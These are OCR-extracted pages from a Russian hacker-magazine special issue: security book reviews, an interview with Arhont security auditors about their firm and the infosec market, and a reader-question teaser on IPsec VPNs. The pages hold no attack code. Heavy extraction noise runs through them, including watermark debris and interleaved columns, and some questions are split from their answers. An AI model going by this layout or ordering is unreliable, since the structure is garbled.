книги хакеры / журнал хакер / специальные выпуски / Специальный выпуск 66_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
|
|
|
|
to BUY |
|
|
|||
|
|
|
|
|
|
|
|
|
|
w| 79 |
|
|
|
|
m |
||||
w Click |
|
|
|
|
o |
||||
|
w |
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
EASY
Введение |
|
в хакинг |
Хакерами не рождаются! Так |
|
что можешь без особых проб- |
М.: ЗАО «Новый |
лем освоить их основные |
издательский дом», 2005 |
уловки: спуфинг, снифинг, |
Максим Левин / 176 страниц |
«мусорные бачки», ловля на |
Разумная цена: 112 рублей |
«дурачка», взлом паролей, |
|
ложные DNS-запросы и мно- |
|
гое другое, — все есть в этой |
|
книжке. Прибавь прикольный |
|
стиль «на ты», читается легко |
|
и просто. Главы очень ма- |
|
ленькие и перетекают одна |
|
в другую, по мере прочтения |
|
начинаешь понимать сленг |
|
хакеров, их цели и приемы |
|
работы. |
MEDIUM
Защита от хакеров |
Honeynet — специальная |
средствами õакера |
компьютерная сеть (каких |
|
много), работающая как при- |
М.: ДМК Пресс, 2005 |
манка. Хакеры находят ho- |
Проект Honeynet / 312 страниц |
neynet и тратят драгоценное |
Разумная цена: 197 рублей |
время, а создатели «прима- |
|
нок» убивают двух зайцев: |
|
отводят удары от реальных |
|
сетей и беспрепятственно со- |
|
бирают и анализируют ин- |
|
формацию о средствах взло- |
|
ма и поведении хакеров. Кни- |
|
га рассказывает: как создать |
|
подобную «приманку», что |
|
и как собирают и анализиру- |
|
ют с их помощью, возможные |
|
проблемы и решения. Уни- |
|
кальная возможность посмот- |
|
реть на хакеров с их же пози- |
|
ций :). А со стороны всегда |
|
виднее... |
HARD
Компьютерные |
Вирусы привыкли распрост- |
вирусы изнутри |
ранять и лечить, но мало |
и снаружи |
кто пытался разобраться, |
|
что представляет собой ви- |
М.: ЗАО «Новый |
рус, как он функционирует |
издательский дом», 2005 |
и как чужеродный код внед- |
Максим Левин / 176 страниц |
ряется в исполняемый |
Разумная цена: 112 рублей |
файл. Если разберешься, |
|
сможешь определять, на- |
|
сколько надежны антивиру- |
|
сы и можно ли обхитрить их. |
|
Очередное творение |
|
Криса Касперски, рассчи- |
|
танное на тех, кто свободно |
|
говорит на С :), умеет дизас- |
|
сем-блировать машинные |
|
коды и часто изучает исход- |
|
ные тексты. Вирусы не стоят |
|
на месте, они прочно обос- |
|
новались в Linux, научились |
|
скрывать свое присутствие |
|
в системе, пробили новые |
|
дыры в брандмауэрах, адап- |
|
тировались к Longhorn... Как |
|
защитить информацию от |
|
разрушения? |
EASY
Криптографические |
Криптография и интересна, |
методы защиты |
и сложна. Прежде всего, она |
информации: |
включает в себя математику |
учебное пособие |
и кучу формул, и чтобы по- |
для вузов |
нять идеологию криптогра- |
|
фии, придется начинать с са- |
М.: Горячая линия — |
мого нуля. Вполне подойдет |
Телеком, 2005 |
учебное пособие для вузов :). |
Рябко Б.Я. / 229 страниц |
Главное — что издание |
Разумная цена: 218 рублей |
достаточно свежее и посвя- |
|
щено новым направлениям |
|
криптографии, связанным |
|
с обеспечением безопасности |
|
работы в сетях. Тут тебе |
|
и шифры с открытыми ключа- |
|
ми, и методы цифровой |
|
подписи, и основные криптог- |
|
рафические протоколы, бло- |
|
ковые и потоковые шифры, |
|
крипто-графические хэш- |
|
функции. Единственный не- |
|
достаток подобной литерату- |
|
ры: изложено довольно сухо |
|
(читай «строго»). Примеры, |
|
конечно, есть, но они явно |
|
оторваны от жизни, поэтому |
|
не наглядны |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
АНДРЕЙ ВЛАДИМИРОВ |
|
КОНСТАНТИН |
|
АНДРЕЙ |
|
|
ГАВРИЛЕНКО |
|
МИХАЙЛОВСКИЙ |
УШЕЛ В IT ИЗ «ЧИСТОЙ» |
|
|
|
|
НАУКИ, ТАК КАК «ТАМ НЕ |
|
СПЕЦИАЛИСТ С ОПЫТОМ |
|
БОЛЕЕ ДЕСЯТИ ЛЕТ АКТИВ- |
ДАЮТ ЗАНИМАТЬСЯ ЧЕМ |
|
РАБОТЫ В СФЕРЕ ИТ- |
|
НО ЗАНИМАЕТСЯ СЕТЯМИ, |
ХОЧЕШЬ». СПЕЦИАЛИЗИ- |
|
БЕЗОПАСНОСТИ БОЛЕЕ 12- |
|
СИСТЕМАМИ АУТЕНТИФИ- |
РУЕТСЯ В ОСНОВНОМ НА |
|
ТИ ЛЕТ. СОАВТОР ДВУХ |
|
КАЦИИ, БЕСПРОВОДНОЙ |
БЕЗОПАСНОСТИ СЕТЕВОЙ |
|
КНИГ: «WI-ФУ: СЕКРЕТЫ |
|
СВЯЗЬЮ, КОМПЬЮТЕРНОЙ |
ИНФРАСТРУКТУРЫ: МАРШ- |
|
БЕСПРОВОДНОГО ВЗЛОМА» |
|
БЕЗОПАСНОСТЬЮ |
РУТИЗАТОРЫ, КОММУТАТО- |
|
И «СЕКРЕТЫ ХАКЕРОВ: БЕЗ- |
|
И УЧАСТВУЕТ В РАЗРАБОТ- |
РЫ, ТОЧКИ ДОСТУПА И Т.Д. |
|
ОПАСНОСТЬ СЕТЕЙ CISCO» |
|
КАХ И ИССЛЕДОВАНИЯХ |
РАБОТАЕТ С ПРОТОКОЛА- |
|
|
|
КОМПАНИИ «АРХОНТ» |
МИ НА НИЖНИХ УРОВНЯХ: |
|
|
|
|
КАНАЛЬНЫЙ, СЕТЕВОЙ, |
|
|
|
|
БЕЗОПАСНОСТЬ КОММУТА- |
|
|
|
|
ЦИИ И МАРШРУТИЗАЦИИ |
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
проверено
электроникой
АУДИТОРЫ БЕЗОПАСНОСТИ
ОНИ АВТОРЫ НЕСКОЛЬКИХ ПОПУЛЯРНЫХ КНИГ ПО БЕЗОПАСНОСТИ, МНОГОЧИСЛЕННЫХ ПУБЛИКАЦИЙ ОБ ОБНАРУЖЕННЫХ УЯЗВИМОСТЯХ НА ФОРУМАХ И СЕТЕВЫХ РЕСУРСАХ (BUGTRAQ, PACKETSTORM, SECURITYLAB), А ТАКЖЕ В ПРЕССЕ (LINUX WORLD, LINUX MAGAZINE, INFORMATION SECURITY AUDITOR, INTERNET WORLD, THE BYTE). ОНИ РУССКИЕ :), НО БАЗИРУЮТСЯ В АНГЛИИ. С НИМИ МЫ И ПОБЕСЕДОВАЛИ… |АНДРЕЙ КАРОЛИК (ANDRUSHA@REAL.XAKEP.RU)
СПЕЦ: НАСКОЛЬКО СЛОЖЕН ПУТЬ ОТ ВОЗНИКНОВЕНИЯ ИНТЕРЕСА К БЕЗОПАСНОСТИ ДО ОБРАЗОВАНИЯ ЦЕЛОЙ КОМПАНИИ?
КОНСТАНТИН ГАВРИЛЕНКО: В сфере инфосека самое простое — основать и организовать свое дело, в первую очередь — начать продавать сервисы и свои знания: для этого не нужно дорогостоящее оборудование, помещения и т.д. Соответственно, затраты на организацию несоизмеримо меньше. На- чинали скромно, у каждого по десктопу, выход в интернет :). Потом прикупили несколько лаптопов (для беспроводных сетей), пару маршрутизаторов, и так до пары раков с оборудованием. Когда мы открывались, про нас вообще никто не знал, все мы пришли из сфер, не связанных с ИТ, поэтому пришлось достаточно много времени потратить на наработку связей в индустрии, какой-то известности, доверительных отношений с клиентами. Стереотип «русских хакеров» часто проявлял себя как незаменимый, а иногда наоборот...
АНДРЕЙ МИХАЙЛОВСКИЙ: Поскольку «Архонт» небольшая компания, приходится выполнять разносторонние обязанности от общения с клиентами до высокотехнических сфер. И буквально через год после открытия компании о нас знали на разных компьютерных выставках и конференциях, а еще че- рез год вышла первая книга — «Wi-Foo: the Secrets of Wireless Hacking». Чем больше мы узнавали рынок, тем сильнее убеждались в своих способностях в области компьютерной безопасности. Как показала практика, реальных специалистов в этой сфере не так уж много.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
|
|
|
|
to BUY |
|
|
|||
|
|
|
|
|
|
|
|
|
|
w| 81 |
|
|
|
|
m |
||||
w Click |
|
|
|
|
o |
||||
|
w |
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
|
|
|
|
АНДРЕЙ ВЛАДИМИРОВ: Все зависит от величины интереса. Главное — иметь команду, которая спо- |
|
|
|
|
|
|
|
собна выполнять разносторонние функции, чтобы участники были активны и желали привнести что-ни- |
|
|
|
|
|
|
|
будь свое в работу компании. А в плане рынка — иметь свою нишу, причем нужно искать ее как раз не |
|
|
|
|
|
|
|
из-за узконаправленности предоставляемых услуг, а скорее наоборот. Не быть привязанным к одному |
|
|
|
|
|
|
|
производителю, системе методологий или решению, а предоставлять клиенту выбор с оценкой оптиму- |
|
|
|
|
|
|
|
ма, учитывая его специфические требования и бюджет. Как говорится, клиент всегда прав. |
|
|
|
|
|
|
|
|
СПЕЦ: ПОЧЕМУ АНГЛИЯ? |
|
|
|
|
|
|
КОНСТАНТИН ГАВРИЛЕНКО: Вообще-то я из Риги :). Так уж получилось, что учиться пришлось в |
ЧЕМ ЛУЧШЕ УЧЕБА ТАМ? |
ЧЕМ ЛУЧШЕ |
|
Англии. Сначала школа, потом институт, потом магистратура. На момент окончания обучения я провел |
||||
РАБОТА? У НАС НЕТ ПЕРСПЕКТИВ? |
|
|
|
в Англии семь лет, успел адаптироваться и обзавестись друзьями и контактами. К тому же была идея |
|||
|
|
|
|
|
|
|
открытия своего бизнеса, а нглийский рынок для этого подходил, то есть вопрос решился сам собой. До- |
|
|
|
|
|
|
|
полнительное «за» состояло в том, что мы все были не только из разных городов бывшего Советского |
|
|
|
|
|
|
|
Союза, но даже из разных республик, а на сегодня — еще и из разных государств. Переезд куда-то на |
|
|
|
|
|
|
|
новое место жительства означало то, что придется начинать все заново, с нуля. |
|
|
|
|
|
|
|
В России все только начинается, рынок потихоньку движется в правильном направлении, и потенциал |
|
|
|
|
|
|
|
развития просто огромный. Основная проблема, на мой взгляд, в том, что менеджмент компаний еще |
|
|
|
|
|
|
|
не осознал важность направления информационной безопасности, связанные с этим потенциальные |
|
|
|
|
|
|
|
убытки, что основная ответственность ложится на них и что это не работа для простого админа/компью- |
|
|
|
|
|
|
|
терщика. Факультет ВМК МГУ и профессор Сухомлин работают в правильном направлении, и, возмож- |
|
|
|
|
|
|
|
но, с нашей помощью в скором времени появится отдельная программа по подготовке специалистов по |
|
|
|
|
|
|
|
ИТ-безопасности. |
|
|
|
|
|
|
|
АНДРЕЙ МИХАЙЛОВСКИЙ: Я бы не сказал, что в Англии учеба лучше, чем в России, скорее наобо- |
|
|
|
|
|
|
|
рот. Система образования в этой стране основана на узкой специализации учеников, что в конечном |
|
|
|
|
|
|
|
итоге ограничивает сферу знания и интересы людей. Я выбрал Англию из-за ее репутации на междуна- |
|
|
|
|
|
|
|
родном уровне. Ведь многие на западе считают Россию коррумпированной страной, с распространен- |
|
|
|
|
|
|
|
ным взяточничеством, что, в свою очередь, негативно сказывается и на образовании. К тому же менедж- |
|
|
|
|
|
|
|
мент и бизнес-науки в Англии преподаются лучше, так как в европейских вузах в этой сфере накопле- |
|
|
|
|
|
|
|
но больше опыта. |
|
|
|
|
|
|
|
К сожалению, коммерческий рынок ИТ-безопасности в России практически не существует и, можно ска- |
|
|
|
|
|
|
|
зать, опаздывает минимум на пять лет по сравнению с Европой, Азией и Америкой. На российском рынке |
|
|
|
|
|
|
|
специалисты по безопасности не пользуются популярностью, к тому же совсем не многие фирмы могут |
|
|
|
|
|
|
|
выделить из бюджета по $2 000 в день на эти услуги, что по европейским стандартам считается нормой. |
|
|
|
|
|
|
|
АНДРЕЙ ВЛАДИМИРОВ: Чем больше живу, тем тверже убеждаюсь в том, что «свобода выбора» — |
|
|
|
|
|
|
|
всего лишь миф. Если, конечно, твоего отца зовут не Билл Гейтс. В моем конкретном случае, на момент |
|
|
|
|
|
|
|
переезда в Англию «выбор» был: либо принимать предложенный грант от Лондонского университета, |
|
|
|
|
|
|
|
либо буквально жить на улице. В моей лаборатории (а я тогда работал в биотехе) просто-напросто за- |
|
|
|
|
|
|
|
кончились реактивы, животные, не было доступа к последним публикациям на изучаемые темы. Союз |
|
|
|
|
|
|
|
окончательно развалился, исследователи в республиках СНГ (в данном случае на Украине) оказались |
|
|
|
|
|
|
|
просто-напросто никому не нужны. |
|
|
|
|
|
|
|
А в России перспективы, безусловно, есть. Приезжаю время от времени читать курсы в АИС в Москве. |
|
|
|
|
|
|
|
Появляемся с докладами на российских конференциях. Со временем, очевидно, откроем свое предста- |
|
|
|
|
|
|
|
вительство в России и, в принципе, мы полностью открыты предложениям отечественных компаний... |
|
|
|
|
|
|
|
|
СПЕЦ: КОМПАНИЯ — ВСЕГО ШЕСТЬ |
|
|
КОНСТАНТИН ГАВРИЛЕНКО: В данном случае важно не количество, а качество. В последнее время |
||||
ЧЕЛОВЕК. ЧТО ВЫ МОЖЕТЕ? |
|
|
|
|
появилось достаточно много контор по безопасности, которые используют пару-тройку различных ком- |
||
ЕСТЬ ГИГАНТЫ, ШТАТ В НИХ |
НАСЧИТЫВАЕТ |
мерческих сканеров и выдают их за полноценный аудит безопасности, что формирует у потребителя |
|||||
СОТНИ СПЕЦИАЛИСТОВ… |
|
|
|
ложное чувство обеспеченности безопасностью. В плане диверсификации у каждого участника коман- |
|||
|
|
|
|
|
|
|
ды есть своя зона ответственности, потом складывается общий результат работы. Конкурентоспособ- |
|
|
|
|
|
|
|
ность в основном достигается за счет качества выполненной работы. |
|
|
|
|
|
|
|
АНДРЕЙ МИХАЙЛОВСКИЙ: Для проверки безопасности не обязательно иметь большой коллектив |
|
|
|
|
|
|
|
работников: чем больше людей работают над проектом, тем тяжелее организовать и собрать нужную и |
|
|
|
|
|
|
|
детальную информацию, прийти к конкретному решению задачи. Оптимально — четыре-шесть человек |
|
|
|
|
|
|
|
в команде для получения результативного аудита большинства средних и крупных компаний. |
|
|
|
|
|
|
|
Работая с клиентами, мы всегда смотрим на безопасность с позиций потребителя, полностью учитыва- |
|
|
|
|
|
|
|
ем структуру предприятия-клиента, сферу деятельности и его потребность в компьютерной безопаснос- |
|
|
|
|
|
|
|
ти. Мы никогда не навязываем какой-то одной компании сервис, решение или оборудование. Наоборот, |
|
|
|
|
|
|
|
предлагаем выбор и подробно оцениваем кандидатуры. Большинство наших конкурентов для аудита |
|
|
|
|
|
|
|
используют решение или программное обеспечение той или иной компании, тем самым ограничивая се- |
|
|
|
|
|
|
|
бя и предоставляемый сервис. Мы стараемся смотреть на безопасность со всех сторон, использовать |
|
|
|
|
|
|
|
как можно больше оборудования и утилит, при этом проверяем и анализируем каждый полученный ре- |
|
|
|
|
|
|
|
зультат. В этом одно из главных наших отличий от конкурентов, которые проводят автоматизацию не- |
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
|
||||
w |
|
|
to |
82 | |
SPECIAL DELIVERY |
|||||||
w Click |
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
o |
m |
|
||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|||
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
СПЕЦ: ЧТО НАИБОЛЕЕ АКТУАЛЬНО СЕГОДНЯ? ЧЕМ ЖИВУТ СОВРЕМЕННЫЕ ЭКСПЕРТЫ ПО БЕЗОПАСНОСТИ?
СПЕЦ: ВАМИ НАПИСАНО СТОЛЬКО КНИГ И СТАТЕЙ... КОГДА ЖЕ УСПЕВАЕТЕ РАБОТАТЬ?
СПЕЦ: ЕСТЬ ЛИ КАКИЕ-ТО НОУ-ХАУ В ОБЛАСТИ БЕЗОПАСНОСТИ, КОТОРЫЕ ВЫ СОЗДАЛИ САМИ?
обдуманно, прогоняют коммерческий сканер или программу, распечатывают отчет и считают, что аудит безопасности на этом закончен.
АНДРЕЙ ВЛАДИМИРОВ: Вспоминается старый анекдот о сравнении нашей и японской корпораций, он заканчивается на фразе «Вот никак не поймем, что же делает здесь 501-й сотрудник». Множество сотрудников в больших компаниях — балласт, особенно в консультационных компаниях. У нас балласта нет, и отбор людей весьма тщательный, он не зависит от личных симпатий и антипатий. На крайний случай под рукой есть проверенные специалисты для привлечения к выполнению отдельных заданий на контрактной основе. Кстати, сколько сотрудников было в Microsoft году так в 77-м?
Мы можем многое. Практически любая операционка, любой уровень OSI и сетевой протокол, любая топология сети... Конкуренты же в этом плане часто отстают. К примеру, во многих фирмах методология проведения внутренних и внешних аудитов сетей ничем не отличаются. Беспроводные сети нормально не покрыты. Не уделяется внимания протоколам на канальном уровне. Нет уровня экспертизы, позволяющего находить новые уязвимости, есть жесткая привязка к отдельным решениям специфических производителей. И так далее...
КОНСТАНТИН ГАВРИЛЕНКО: Мир инфосека слишком динамичен, чтобы какая-то определенная область оставалась актуальной долгое время. Наиболее уязвимы новые технологии, которые еще не проверены временем, или технологии, набирающие популярность. Последние пару лет все без исключения конторы по безопасности демонстрируют способы проникновения через уязвимости в web’е. Складывается такое впечатление, что кроме SQL-инъекции и седьмого уровня, больше ничего не существует. К сожалению, это не так, и при оценке безопасности сетевой инфраструктуры многие вещи остаются незамеченными, что мы неоднократно видели, проверяя работу других «экспертов». В плане security-обо- рудования, на мой взгляд, стоить обратить внимание на системы предотвращения вторжения (IPS), webбрандмауэры (Layer-7 firewall), SSL виртуальные частные сети (SSL VPN) и системы централизованного управления беспроводными сетями.
АНДРЕЙ ВЛАДИМИРОВ: Защита инфраструктуры сетей: коммутаторов, маршрутизаторов и т.д. Им должно уделяться не меньше внимания, чем серверам. Беспроводные сети всех типов. Мобильные устройства и их встроенные операционные системы. Web-приложения. Базы данных. Системы предотвращения вторжений (IPS), защита клиентских устройств на уровне ядра системы и системных вызовов, концепция «самозащищающихся» сетей. «Умная» и действенная фильтрация спама и вредоносных программ. В отдельных областях (интернет-магазины, аукционы, казино и букмекеры) — DDoS-атаки и эффективная защита от них.
КОНСТАНТИН ГАВРИЛЕНКО: Спим мало :), да и то обычно перед компьютером. Вся информация в книгах, статьях о новых уязвимостях — это наработки, сделанные за время проведения аудитов. А само написание после проделанных исследований занимает не так уж и много времени. Главное — это стремление познать что-то новое, найти новые методы решения задач.
АНДРЕЙ МИХАЙЛОВСКИЙ: Смотря что называть работой. Для нас и других специалистов в сфере компьютерной безопасности работой может считаться почти все что угодно — от конфигурации программы или девайса, проверки протоколов и стандартов до программирования и создания кода и эксплойтов. Большую часть времени мы проводим перед компьютерами, читая документации, статьи и публикации, играясь с различными программами и оборудованием.
КОНСТАНТИН ГАВРИЛЕНКО: Конечно, есть. Взгляни на лист опубликованных найденных уязвимостей :). Кроме того, наша методология оценки безопасности и проникновения в беспроводные сети, опубликованная в аппендиксе к «Wi-фу», была первым систематизированным документом на эту тему. В плане утилит… Мы в основном используем ПО с открытым кодом, поэтому не только берем, но и отдаем взамен для общего блага. Например, на данный момент единственной утилитой, способной генерировать произвольные пакеты для EIGRP-протокола маршрутизации, является наша EIGRP-tools. Приме- чательно, что все наши утилиты включены в различные дистрибутивы для оценки безопасности, значит, время было потрачено не зря.
АНДРЕЙ МИХАЙЛОВСКИЙ: «Архонт» разработал несколько образцов и шаблонов для проверки безопасности беспроводных сетей, которыми пользуются многие консультанты и коммерческие организации в нашей индустрии. Мы также создали шаблоны для анализа оборудования, программ и стандартов с проприетарным кодом. Во время написания Hacking Exposed «Архонт» разработал методы и утилиты для проверки безопасности оборудования и протоколов, использованных компанией Cisco при распределении трафика в интернете.
АНДРЕЙ ВЛАДИМИРОВ: Разумеется, есть, и êîå-÷òî надо будет даже запатентовать. А информацию насчет обнаружения новых уязвимостей и написания утилит с открытым кодом для «общественного пользования» ты всегда можешь найти на наших сайтах: www.arhont.com, www.wi-foo.com è www.hackingciscoex-
posed.com 
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
|
|
|
|
to BUY |
|
|
|||
|
|
|
|
|
|
|
|
|
|
w| 83 |
|
|
|
|
m |
||||
w Click |
|
|
|
|
o |
||||
|
w |
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|||||
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
SPECIAL DELIVERY |
|||||
|
|
|
|
|
BUY |
84 | |
|||||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
||
|
|
|
df |
|
|
|
n |
e |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|||
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
задай
вопросы по темам следующих выпусков на форуме:
http://forum.xakep.ru/forum.asp?forumID=17
ВОПРОС: ЗНАКОМЫЙ АДМИН РАССКАЗАЛ, ЧТО ЗЛОБНЫЕ ХАКЕРЫ ВЗЛОМАЛИ
ЕГО IPSEC ВИРТУАЛЬНУЮ ЧАСТНУЮ СЕТЬ. ВЧС НАДЕЖНА, РАЗВЕ МОЖНО ВЗЛОМАТЬ ЕЕ?
спроси
эксперта!
«ВСЕ ЗАВИСИТ ОТ КРИВИЗНЫ РУК АДМИНА»
